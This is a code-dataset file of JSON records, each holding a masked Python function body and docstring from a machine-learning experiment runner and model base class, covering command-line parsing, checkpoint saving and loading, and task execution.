{"signature": "def _parseCommandLineOptions(args):", "body": "usageStr = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>parser = optparse.OptionParser(usage=usageStr)<EOL>parser.add_option(\"<STR_LIT:-c>\",<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", default=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", default=False)<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", default=False)<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store>\", type=\"<STR_LIT:string>\", default=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", default=False)<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\", default=[],<EOL>action=\"<STR_LIT>\", callback=reapVarArgsCallback,<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\", action=\"<STR_LIT:store_true>\",<EOL>default=False)<EOL>parser.add_option(\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>dest=\"<STR_LIT>\", action=\"<STR_LIT>\",<EOL>default=True)<EOL>options, experiments = parser.parse_args(args)<EOL>mutuallyExclusiveOptionCount = sum([bool(options.createCheckpointName),<EOL>options.listAvailableCheckpoints,<EOL>options.listTasks,<EOL>bool(options.runCheckpointName)])<EOL>if mutuallyExclusiveOptionCount > <NUM_LIT:1>:<EOL><INDENT>_reportCommandLineUsageErrorAndExit(<EOL>parser,<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>mutuallyExclusiveOptionCount = sum([bool(not options.checkpointModel),<EOL>bool(options.createCheckpointName)])<EOL>if mutuallyExclusiveOptionCount > <NUM_LIT:1>:<EOL><INDENT>_reportCommandLineUsageErrorAndExit(<EOL>parser,<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if len(experiments) != <NUM_LIT:1>:<EOL><INDENT>_reportCommandLineUsageErrorAndExit(<EOL>parser,<EOL>\"<STR_LIT>\" % (<EOL>len(experiments), experiments))<EOL><DEDENT>parser.destroy()<EOL>experimentDir = os.path.abspath(experiments[<NUM_LIT:0>])<EOL>privateOptions = dict()<EOL>privateOptions['<STR_LIT>'] = options.createCheckpointName<EOL>privateOptions['<STR_LIT>'] = options.listAvailableCheckpoints<EOL>privateOptions['<STR_LIT>'] = options.listTasks<EOL>privateOptions['<STR_LIT>'] = options.runCheckpointName<EOL>privateOptions['<STR_LIT>'] = options.newSerialization<EOL>privateOptions['<STR_LIT>'] = options.testMode<EOL>privateOptions['<STR_LIT>'] = options.taskLabels<EOL>privateOptions['<STR_LIT>'] = options.checkpointModel<EOL>result = ParseCommandLineOptionsResult(experimentDir=experimentDir,<EOL>privateOptions=privateOptions)<EOL>return result<EOL>", "docstring": "Parse command line options\n\n    Args:\n      args: command line arguments (not including sys.argv[0])\n    Returns:\n      namedtuple ParseCommandLineOptionsResult", "id": "f17678:m2"}
{"signature": "def reapVarArgsCallback(option, optStr, value, parser):", "body": "newValues = []<EOL>gotDot = False<EOL>for arg in parser.rargs:<EOL><INDENT>if arg.startswith(\"<STR_LIT>\") and len(arg) > <NUM_LIT:2>:<EOL><INDENT>break<EOL><DEDENT>if arg.startswith(\"<STR_LIT:->\") and len(arg) > <NUM_LIT:1>:<EOL><INDENT>break<EOL><DEDENT>if arg == \"<STR_LIT:.>\":<EOL><INDENT>gotDot = True<EOL>break<EOL><DEDENT>newValues.append(arg)<EOL><DEDENT>if not newValues:<EOL><INDENT>raise optparse.OptionValueError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (optStr, parser.rargs))<EOL><DEDENT>del parser.rargs[:len(newValues) + int(gotDot)]<EOL>value = getattr(parser.values, option.dest, [])<EOL>if value is None:<EOL><INDENT>value = []<EOL><DEDENT>value.extend(newValues)<EOL>setattr(parser.values, option.dest, value)<EOL>", "docstring": "Used as optparse callback for reaping a variable number of option args.\n    The option may be specified multiple times, and all the args associated with\n    that option name will be accumulated in the order that they are encountered", "id": "f17678:m3"}
{"signature": "def _reportCommandLineUsageErrorAndExit(parser, message):", "body": "print(parser.get_usage())<EOL>print(message)<EOL>sys.exit(<NUM_LIT:1>)<EOL>", "docstring": "Report usage error and exit program with error indication.", "id": "f17678:m4"}
{"signature": "def _runExperimentImpl(options, model=None):", "body": "json_helpers.validate(options.privateOptions,<EOL>schemaDict=g_parsedPrivateCommandLineOptionsSchema)<EOL>experimentDir = options.experimentDir<EOL>descriptionPyModule = helpers.loadExperimentDescriptionScriptFromDir(<EOL>experimentDir)<EOL>expIface = helpers.getExperimentDescriptionInterfaceFromModule(<EOL>descriptionPyModule)<EOL>if options.privateOptions['<STR_LIT>']:<EOL><INDENT>_printAvailableCheckpoints(experimentDir)<EOL>return None<EOL><DEDENT>experimentTasks = expIface.getModelControl().get('<STR_LIT>', [])<EOL>if (len(experimentTasks) == <NUM_LIT:0> and<EOL>expIface.getModelControl()['<STR_LIT>'] == OpfEnvironment.Nupic):<EOL><INDENT>expIface.convertNupicEnvToOPF()<EOL>experimentTasks = expIface.getModelControl().get('<STR_LIT>', [])<EOL><DEDENT>expIface.normalizeStreamSources()<EOL>newSerialization = options.privateOptions['<STR_LIT>']<EOL>if options.privateOptions['<STR_LIT>']:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for label in [t['<STR_LIT>'] for t in experimentTasks]:<EOL><INDENT>print(\"<STR_LIT:\\t>\", label)<EOL><DEDENT>return None<EOL><DEDENT>if options.privateOptions['<STR_LIT>']:<EOL><INDENT>assert model is None<EOL>checkpointName = options.privateOptions['<STR_LIT>']<EOL>model = ModelFactory.loadFromCheckpoint(<EOL>savedModelDir=_getModelCheckpointDir(experimentDir, checkpointName),<EOL>newSerialization=newSerialization)<EOL><DEDENT>elif model is not None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>modelDescription = expIface.getModelDescription()<EOL>model = ModelFactory.create(modelDescription)<EOL><DEDENT>if options.privateOptions['<STR_LIT>']:<EOL><INDENT>checkpointName = options.privateOptions['<STR_LIT>']<EOL>_saveModel(model=model,<EOL>experimentDir=experimentDir,<EOL>checkpointLabel=checkpointName,<EOL>newSerialization=newSerialization)<EOL>return model<EOL><DEDENT>taskIndexList = list(range(len(experimentTasks)))<EOL>customTaskExecutionLabelsList = options.privateOptions['<STR_LIT>']<EOL>if customTaskExecutionLabelsList:<EOL><INDENT>taskLabelsList = [t['<STR_LIT>'] for t in experimentTasks]<EOL>taskLabelsSet = set(taskLabelsList)<EOL>customTaskExecutionLabelsSet = set(customTaskExecutionLabelsList)<EOL>assert customTaskExecutionLabelsSet.issubset(taskLabelsSet),(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (customTaskExecutionLabelsSet - taskLabelsSet,<EOL>customTaskExecutionLabelsList)<EOL>taskIndexList = [taskLabelsList.index(label) for label in<EOL>customTaskExecutionLabelsList]<EOL>print(\"<STR_LIT>\" % [taskLabelsList[i] for<EOL>i in taskIndexList])<EOL><DEDENT>for taskIndex in taskIndexList:<EOL><INDENT>task = experimentTasks[taskIndex]<EOL>taskRunner = _TaskRunner(model=model,<EOL>task=task,<EOL>cmdOptions=options)<EOL>taskRunner.run()<EOL>del taskRunner<EOL>if options.privateOptions['<STR_LIT>']:<EOL><INDENT>_saveModel(model=model,<EOL>experimentDir=experimentDir,<EOL>checkpointLabel=task['<STR_LIT>'],<EOL>newSerialization=newSerialization)<EOL><DEDENT><DEDENT>return model<EOL>", "docstring": "Creates and runs the experiment\n\n    Args:\n      options: namedtuple ParseCommandLineOptionsResult\n      model: For testing: may pass in an existing OPF Model instance\n          to use instead of creating a new one.\n\n    Returns: reference to OPFExperiment instance that was constructed (this\n        is provided to aid with debugging) or None, if none was\n        created.", "id": "f17678:m5"}
{"signature": "def _saveModel(model, experimentDir, checkpointLabel, newSerialization=False):", "body": "checkpointDir = _getModelCheckpointDir(experimentDir, checkpointLabel)<EOL>if newSerialization:<EOL><INDENT>model.writeToCheckpoint(checkpointDir)<EOL><DEDENT>else:<EOL><INDENT>model.save(saveModelDir=checkpointDir)<EOL><DEDENT>", "docstring": "Save model", "id": "f17678:m6"}
{"signature": "def _getModelCheckpointDir(experimentDir, checkpointLabel):", "body": "checkpointDir = os.path.join(getCheckpointParentDir(experimentDir),<EOL>checkpointLabel + g_defaultCheckpointExtension)<EOL>checkpointDir = os.path.abspath(checkpointDir)<EOL>return checkpointDir<EOL>", "docstring": "Creates directory for serialization of the model\n\n    checkpointLabel:\n        Checkpoint label (string)\n\n    Returns:\n      absolute path to the serialization directory", "id": "f17678:m7"}
{"signature": "def getCheckpointParentDir(experimentDir):", "body": "baseDir = os.path.join(experimentDir, \"<STR_LIT>\")<EOL>baseDir = os.path.abspath(baseDir)<EOL>return baseDir<EOL>", "docstring": "Get checkpoint parent dir.\n\n    Returns: absolute path to the base serialization directory within which\n        model checkpoints for this experiment are created", "id": "f17678:m8"}
{"signature": "def _checkpointLabelFromCheckpointDir(checkpointDir):", "body": "assert checkpointDir.endswith(g_defaultCheckpointExtension)<EOL>lastSegment = os.path.split(checkpointDir)[<NUM_LIT:1>]<EOL>checkpointLabel = lastSegment[<NUM_LIT:0>:-len(g_defaultCheckpointExtension)]<EOL>return checkpointLabel<EOL>", "docstring": "Returns a checkpoint label string for the given model checkpoint directory\n\n    checkpointDir: relative or absolute model checkpoint directory path", "id": "f17678:m9"}
{"signature": "def _isCheckpointDir(checkpointDir):", "body": "lastSegment = os.path.split(checkpointDir)[<NUM_LIT:1>]<EOL>if lastSegment[<NUM_LIT:0>] == '<STR_LIT:.>':<EOL><INDENT>return False<EOL><DEDENT>if not checkpointDir.endswith(g_defaultCheckpointExtension):<EOL><INDENT>return False<EOL><DEDENT>if not os.path.isdir(checkpointDir):<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Return true iff checkpointDir appears to be a checkpoint directory.", "id": "f17678:m10"}
{"signature": "def _printAvailableCheckpoints(experimentDir):", "body": "checkpointParentDir = getCheckpointParentDir(experimentDir)<EOL>if not os.path.exists(checkpointParentDir):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>checkpointDirs = [x for x in os.listdir(checkpointParentDir)<EOL>if _isCheckpointDir(os.path.join(checkpointParentDir, x))]<EOL>if not checkpointDirs:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>checkpointList = [_checkpointLabelFromCheckpointDir(x)<EOL>for x in checkpointDirs]<EOL>for checkpoint in sorted(checkpointList):<EOL><INDENT>print(\"<STR_LIT:\\t>\", checkpoint)<EOL><DEDENT>print()<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "List available checkpoints for the specified experiment.", "id": "f17678:m11"}
{"signature": "def main():", "body": "initLogging(verbose=True)<EOL>initExperimentPrng()<EOL>runExperiment(sys.argv[<NUM_LIT:1>:])<EOL>", "docstring": "Module-level entry point.  Run according to options in sys.argv\n\n    Usage: python -m python -m nupic.frameworks.opf.experiment_runner", "id": "f17678:m12"}
{"signature": "def __init__(self, model, task, cmdOptions):", "body": "validateOpfJsonValue(task, \"<STR_LIT>\")<EOL>self.__logger = logging.getLogger(\"<STR_LIT:.>\".join(<EOL>['<STR_LIT>', self.__class__.__module__, self.__class__.__name__]))<EOL>self.__logger.debug((\"<STR_LIT>\" +\"<STR_LIT>\" +\"<STR_LIT>\" +\"<STR_LIT>\") %(self.__class__.__name__,<EOL>model,<EOL>task,<EOL>cmdOptions))<EOL>streamDef = task['<STR_LIT>']<EOL>datasetReader = opf_basic_environment.BasicDatasetReader(streamDef)<EOL>self.__model = model<EOL>self.__datasetReader = datasetReader<EOL>self.__task = task<EOL>self.__cmdOptions = cmdOptions<EOL>self.__predictionLogger = opf_basic_environment.BasicPredictionLogger(<EOL>fields=model.getFieldInfo(),<EOL>experimentDir=cmdOptions.experimentDir,<EOL>label=task['<STR_LIT>'],<EOL>inferenceType=self.__model.getInferenceType())<EOL>taskControl = task['<STR_LIT>']<EOL>self.__taskDriver = OPFTaskDriver(<EOL>taskControl=taskControl,<EOL>model=model)<EOL>loggedMetricPatterns = taskControl.get('<STR_LIT>', None)<EOL>loggedMetricLabels = matchPatterns(loggedMetricPatterns,<EOL>self.__taskDriver.getMetricLabels())<EOL>self.__predictionLogger.setLoggedMetrics(loggedMetricLabels)<EOL>self.__metricsLogger = opf_basic_environment.BasicPredictionMetricsLogger(<EOL>experimentDir=cmdOptions.experimentDir,<EOL>label=task['<STR_LIT>'])<EOL>", "docstring": "Constructor\n\n        Args:\n          model: The OPF Model instance against which to run the task\n          task: A dictionary conforming to opfTaskSchema.json\n          cmdOptions: ParseCommandLineOptionsResult namedtuple", "id": "f17678:c0:m0"}
{"signature": "def __del__(self):", "body": "<EOL>", "docstring": "Destructor", "id": "f17678:c0:m1"}
{"signature": "def run(self):", "body": "self.__logger.debug(\"<STR_LIT>\", self.__task['<STR_LIT>'])<EOL>if self.__cmdOptions.privateOptions['<STR_LIT>']:<EOL><INDENT>numIters = <NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>numIters = self.__task['<STR_LIT>']<EOL><DEDENT>if numIters >= <NUM_LIT:0>:<EOL><INDENT>iterTracker = iter(range(numIters))<EOL><DEDENT>else:<EOL><INDENT>iterTracker = iter(itertools.count())<EOL><DEDENT>periodic = PeriodicActivityMgr(<EOL>requestedActivities=self._createPeriodicActivities())<EOL>self.__model.resetSequenceStates()<EOL>self.__taskDriver.setup()<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>next(iterTracker)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>try:<EOL><INDENT>inputRecord = next(self.__datasetReader)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>result = self.__taskDriver.handleInputRecord(inputRecord=inputRecord)<EOL>if InferenceElement.encodings in result.inferences:<EOL><INDENT>result.inferences.pop(InferenceElement.encodings)<EOL><DEDENT>self.__predictionLogger.writeRecord(result)<EOL>periodic.tick()<EOL><DEDENT>self._getAndEmitExperimentMetrics(final=True)<EOL>self.__taskDriver.finalize()<EOL>self.__model.resetSequenceStates()<EOL>", "docstring": "Runs a single experiment task", "id": "f17678:c0:m2"}
{"signature": "def _createPeriodicActivities(self):", "body": "<EOL>periodicActivities = []<EOL>class MetricsReportCb(object):<EOL><INDENT>def __init__(self, taskRunner):<EOL><INDENT>self.__taskRunner = taskRunner<EOL>return<EOL><DEDENT>def __call__(self):<EOL><INDENT>self.__taskRunner._getAndEmitExperimentMetrics()<EOL><DEDENT><DEDENT>reportMetrics = PeriodicActivityRequest(<EOL>repeating=True,<EOL>period=<NUM_LIT:1000>,<EOL>cb=MetricsReportCb(self))<EOL>periodicActivities.append(reportMetrics)<EOL>class IterationProgressCb(object):<EOL><INDENT>PROGRESS_UPDATE_PERIOD_TICKS = <NUM_LIT:1000><EOL>def __init__(self, taskLabel, requestedIterationCount, logger):<EOL><INDENT>self.__taskLabel = taskLabel<EOL>self.__requestedIterationCount = requestedIterationCount<EOL>self.__logger = logger<EOL>self.__numIterationsSoFar = <NUM_LIT:0><EOL><DEDENT>def __call__(self):<EOL><INDENT>self.__numIterationsSoFar += self.PROGRESS_UPDATE_PERIOD_TICKS<EOL>self.__logger.debug(\"<STR_LIT>\" % (<EOL>self.__taskLabel,<EOL>self.__numIterationsSoFar,<EOL>self.__requestedIterationCount))<EOL><DEDENT><DEDENT>iterationProgressCb = IterationProgressCb(<EOL>taskLabel=self.__task['<STR_LIT>'],<EOL>requestedIterationCount=self.__task['<STR_LIT>'],<EOL>logger=self.__logger)<EOL>iterationProgressReporter = PeriodicActivityRequest(<EOL>repeating=True,<EOL>period=IterationProgressCb.PROGRESS_UPDATE_PERIOD_TICKS,<EOL>cb=iterationProgressCb)<EOL>periodicActivities.append(iterationProgressReporter)<EOL>return periodicActivities<EOL>", "docstring": "Creates and returns a list of activites for this TaskRunner instance\n\n        Returns: a list of PeriodicActivityRequest elements", "id": "f17678:c0:m3"}
{"signature": "def __init__(self, requestedActivities):", "body": "self.__activities = []<EOL>for req in requestedActivities:<EOL><INDENT>act =   self.Activity(repeating=req.repeating,<EOL>period=req.period,<EOL>cb=req.cb,<EOL>iteratorHolder=[iter(range(req.period-<NUM_LIT:1>))])<EOL>self.__activities.append(act)<EOL><DEDENT>", "docstring": "requestedActivities: a sequence of PeriodicActivityRequest elements", "id": "f17678:c1:m0"}
{"signature": "def tick(self):", "body": "<EOL>for act in self.__activities:<EOL><INDENT>if not act.iteratorHolder[<NUM_LIT:0>]:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>next(act.iteratorHolder[<NUM_LIT:0>])<EOL><DEDENT>except StopIteration:<EOL><INDENT>act.cb()<EOL>if act.repeating:<EOL><INDENT>act.iteratorHolder[<NUM_LIT:0>] = iter(range(act.period-<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>act.iteratorHolder[<NUM_LIT:0>] = None<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Activity tick handler; services all activities\n\n        Returns:\n          True if controlling iterator says it's okay to keep going;\n          False to stop", "id": "f17678:c1:m1"}
{"signature": "def __init__(self, inferenceType=None, proto=None):", "body": "assert inferenceType is not None and proto is None or (<EOL>inferenceType is None and proto is not None), (<EOL>\"<STR_LIT>\")<EOL>if proto is None:<EOL><INDENT>self._numPredictions = <NUM_LIT:0><EOL>self.__inferenceType =  inferenceType<EOL>self.__learningEnabled = True<EOL>self.__inferenceEnabled = True<EOL>self.__inferenceArgs = {}<EOL><DEDENT>else:<EOL><INDENT>self._numPredictions = proto.numPredictions<EOL>inferenceType = str(proto.inferenceType)<EOL>inferenceType = inferenceType[:<NUM_LIT:1>].upper() + inferenceType[<NUM_LIT:1>:]<EOL>self.__inferenceType = InferenceType.getValue(inferenceType)<EOL>self.__learningEnabled = proto.learningEnabled<EOL>self.__inferenceEnabled = proto.inferenceEnabled<EOL>self.__inferenceArgs = json.loads(proto.inferenceArgs)<EOL><DEDENT>", "docstring": ":param opf_utils.InferenceType inferenceType: mutually-exclusive with proto\n                                              arg\n:param proto: capnp ModelProto message reader for deserializing;\n              mutually-exclusive with the other constructor args.", "id": "f17679:c0:m0"}
{"signature": "def run(self, inputRecord):", "body": "<EOL>predictionNumber = self._numPredictions<EOL>self._numPredictions += <NUM_LIT:1><EOL>result = opf_utils.ModelResult(predictionNumber=predictionNumber,<EOL>rawInput=inputRecord)<EOL>return result<EOL>", "docstring": "Run one iteration of this model.\n\n:param inputRecord: (object)\n       A record object formatted according to\n       :meth:`~nupic.data.record_stream.RecordStreamIface.getNextRecord` or\n       :meth:`~nupic.data.record_stream.RecordStreamIface.getNextRecordDict`\n       result format.\n:returns: (:class:`~nupic.frameworks.opf.opf_utils.ModelResult`)\n         An ModelResult namedtuple. The contents of ModelResult.inferences\n         depends on the the specific inference type of this model, which\n         can be queried by :meth:`.getInferenceType`.", "id": "f17679:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def finishLearning(self):<DEDENT>", "body": "", "docstring": "Place the model in a permanent \"finished learning\" mode.\n        In such a mode the model will not be able to learn from subsequent input\n        records.\n\n        .. note:: Upon completion of this command, learning may not be resumed on\n           the given instance of the model (e.g., the implementation may optimize\n           itself by pruning data structures that are necessary for learning).", "id": "f17679:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def resetSequenceStates(self):<DEDENT>", "body": "", "docstring": "Signal that the input record is the start of a new sequence. Normally called\nto force the delineation of a sequence, such as between OPF tasks.", "id": "f17679:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def getFieldInfo(self, includeClassifierOnlyField=False):<DEDENT>", "body": "", "docstring": "Return the sequence of :class:`~nupic.data.field_meta.FieldMetaInfo` objects\nspecifying the format of Model's output.\n\nThis may be different than the list of\n:class:`~nupic.data.field_meta.FieldMetaInfo` objects supplied at\ninitialization (e.g., due to the transcoding of some input fields into\nmeta-fields, such as datetime -> dayOfWeek, timeOfDay, etc.).\n\n:param includeClassifierOnlyField: (bool)\n       If True, any field which is only sent to the classifier (i.e. not\n       sent in to the bottom of the network) is also included\n:returns: (list) of :class:`~nupic.data.field_meta.FieldMetaInfo` objects.", "id": "f17679:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def setFieldStatistics(self, fieldStats):<DEDENT>", "body": "", "docstring": "Propagate field statistics to the model in case some of its machinery\n        needs it.\n\n        :param fieldStats: (dict)\n               A dict of dicts with first key being the fieldname and the second\n               key is min,max or other supported statistics.", "id": "f17679:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def getRuntimeStats(self):<DEDENT>", "body": "", "docstring": "Get runtime statistics specific to this model, i.e.\n        ``activeCellOverlapAvg``.\n\n        :returns: (dict) A {statistic names: stats} dictionary", "id": "f17679:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def _getLogger(self):<DEDENT>", "body": "", "docstring": "Get the logger for this object.\n        This is a protected method that is used by the ModelBase to access the\n        logger created by the subclass.\n\n        :returns: (Logger) A Logger object, it should not be None.", "id": "f17679:c0:m7"}
{"signature": "def getInferenceType(self):", "body": "return self.__inferenceType<EOL>", "docstring": "Return the InferenceType of this model.\n        This is immutable.\n\n        :returns: :class:`~nupic.frameworks.opf.opf_utils.InferenceType`", "id": "f17679:c0:m8"}
{"signature": "def enableLearning(self):", "body": "self.__learningEnabled = True<EOL>return<EOL>", "docstring": "Turn Learning on for the current model.", "id": "f17679:c0:m9"}
{"signature": "def disableLearning(self):", "body": "self.__learningEnabled = False<EOL>return<EOL>", "docstring": "Turn Learning off for the current model.", "id": "f17679:c0:m10"}
{"signature": "def isLearningEnabled(self):", "body": "return self.__learningEnabled<EOL>", "docstring": "Return the Learning state of the current model.\n\n        :returns: (bool) The learning state", "id": "f17679:c0:m11"}
{"signature": "def enableInference(self, inferenceArgs=None):", "body": "self.__inferenceEnabled = True<EOL>self.__inferenceArgs = inferenceArgs<EOL>", "docstring": "Enable inference for this model.\n\n        :param inferenceArgs: (dict)\n               A dictionary of arguments required for inference. These depend on\n               the InferenceType of the current model", "id": "f17679:c0:m12"}
{"signature": "def getInferenceArgs(self):", "body": "return self.__inferenceArgs<EOL>", "docstring": "Return the dict of arguments for the current inference mode.\n\n        :returns: (dict) The arguments of the inference mode", "id": "f17679:c0:m13"}
{"signature": "def disableInference(self):", "body": "self.__inferenceEnabled = False<EOL>", "docstring": "Turn Inference off for the current model.", "id": "f17679:c0:m14"}
{"signature": "def isInferenceEnabled(self):", "body": "return self.__inferenceEnabled<EOL>", "docstring": "Return the inference state of the current model.\n\n        :returns: (bool) The inference state", "id": "f17679:c0:m15"}
{"signature": "@staticmethod<EOL><INDENT>def getSchema():<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Return the pycapnp proto type that the class uses for serialization.\n\n        This is used to convert the proto into the proper type before passing it\n        into the read or write method of the subclass.", "id": "f17679:c0:m16"}
{"signature": "@staticmethod<EOL><INDENT>def _getModelCheckpointFilePath(checkpointDir):<DEDENT>", "body": "path = os.path.join(checkpointDir, \"<STR_LIT>\")<EOL>path = os.path.abspath(path)<EOL>return path<EOL>", "docstring": "Return the absolute path of the model's checkpoint file.\n\n        :param checkpointDir: (string)\n               Directory of where the experiment is to be or was saved\n        :returns: (string) An absolute path.", "id": "f17679:c0:m17"}
{"signature": "def writeToCheckpoint(self, checkpointDir):", "body": "proto = self.getSchema().new_message()<EOL>self.write(proto)<EOL>checkpointPath = self._getModelCheckpointFilePath(checkpointDir)<EOL>if os.path.exists(checkpointDir):<EOL><INDENT>if not os.path.isdir(checkpointDir):<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>\"<STR_LIT>\")% checkpointDir)<EOL><DEDENT>if not os.path.isfile(checkpointPath):<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"\"<STR_LIT>\") %(checkpointDir, checkpointPath))<EOL><DEDENT>shutil.rmtree(checkpointDir)<EOL><DEDENT>self.__makeDirectoryFromAbsolutePath(checkpointDir)<EOL>with open(checkpointPath, '<STR_LIT:wb>') as f:<EOL><INDENT>proto.write(f)<EOL><DEDENT>", "docstring": "Serializes model using capnproto and writes data to ``checkpointDir``", "id": "f17679:c0:m18"}
{"signature": "@classmethod<EOL><INDENT>def readFromCheckpoint(cls, checkpointDir):<DEDENT>", "body": "checkpointPath = cls._getModelCheckpointFilePath(checkpointDir)<EOL>with open(checkpointPath, '<STR_LIT:r>') as f:<EOL><INDENT>proto = cls.getSchema().read(f,<EOL>traversal_limit_in_words=_TRAVERSAL_LIMIT_IN_WORDS)<EOL><DEDENT>model = cls.read(proto)<EOL>return model<EOL>", "docstring": "Deserializes model from checkpointDir using capnproto", "id": "f17679:c0:m19"}
{"signature": "def writeBaseToProto(self, proto):", "body": "inferenceType = self.getInferenceType()<EOL>inferenceType = inferenceType[:<NUM_LIT:1>].lower() + inferenceType[<NUM_LIT:1>:]<EOL>proto.inferenceType = inferenceType<EOL>proto.numPredictions = self._numPredictions<EOL>proto.learningEnabled = self.__learningEnabled<EOL>proto.inferenceEnabled = self.__inferenceEnabled<EOL>proto.inferenceArgs = json.dumps(self.__inferenceArgs)<EOL>", "docstring": "Save the state maintained by the Model base class\n\n        :param proto: capnp ModelProto message builder", "id": "f17679:c0:m20"}
{"signature": "def write(self, proto):", "body": "raise NotImplementedError()<EOL>", "docstring": "Write state to proto object.\n\n        The type of proto is determined by :meth:`getSchema`.", "id": "f17679:c0:m21"}
{"signature": "@classmethod<EOL><INDENT>def read(cls, proto):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Read state from proto object.\n\n        The type of proto is determined by :meth:`getSchema`.", "id": "f17679:c0:m22"}
{"signature": "def save(self, saveModelDir):", "body": "logger = self._getLogger()<EOL>logger.debug(\"<STR_LIT>\",<EOL>self, saveModelDir)<EOL>modelPickleFilePath = self._getModelPickleFilePath(saveModelDir)<EOL>if os.path.exists(saveModelDir):<EOL><INDENT>if not os.path.isdir(saveModelDir):<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>\"<STR_LIT>\")% saveModelDir)<EOL><DEDENT>if not os.path.isfile(modelPickleFilePath):<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>\"<STR_LIT>\"\"<STR_LIT>\") %(saveModelDir, modelPickleFilePath))<EOL><DEDENT>shutil.rmtree(saveModelDir)<EOL><DEDENT>self.__makeDirectoryFromAbsolutePath(saveModelDir)<EOL>with open(modelPickleFilePath, '<STR_LIT:wb>') as modelPickleFile:<EOL><INDENT>logger.debug(\"<STR_LIT>\", self)<EOL>pickle.dump(self, modelPickleFile, protocol=pickle.HIGHEST_PROTOCOL)<EOL>logger.debug(\"<STR_LIT>\", self)<EOL><DEDENT>self._serializeExtraData(extraDataDir=self._getModelExtraDataDir(saveModelDir))<EOL>logger.debug(\"<STR_LIT>\", self)<EOL>return<EOL>", "docstring": "Save the model in the given directory.\n\n        :param saveModelDir: (string)\n             Absolute directory path for saving the model. This directory should\n             only be used to store a saved model. If the directory does not exist,\n             it will be created automatically and populated with model data. A\n             pre-existing directory will only be accepted if it contains previously\n             saved model data. If such a directory is given, the full contents of\n             the directory will be deleted and replaced with current model data.", "id": "f17679:c0:m23"}
{"signature": "def _serializeExtraData(self, extraDataDir):", "body": "pass<EOL>", "docstring": "Protected method that is called during serialization with an external\n        directory path. It can be overridden by subclasses to bypass pickle for\n        saving large binary states.\n        This is called by ModelBase only.\n\n        :param extraDataDir: (string) Model's extra data directory path", "id": "f17679:c0:m24"}
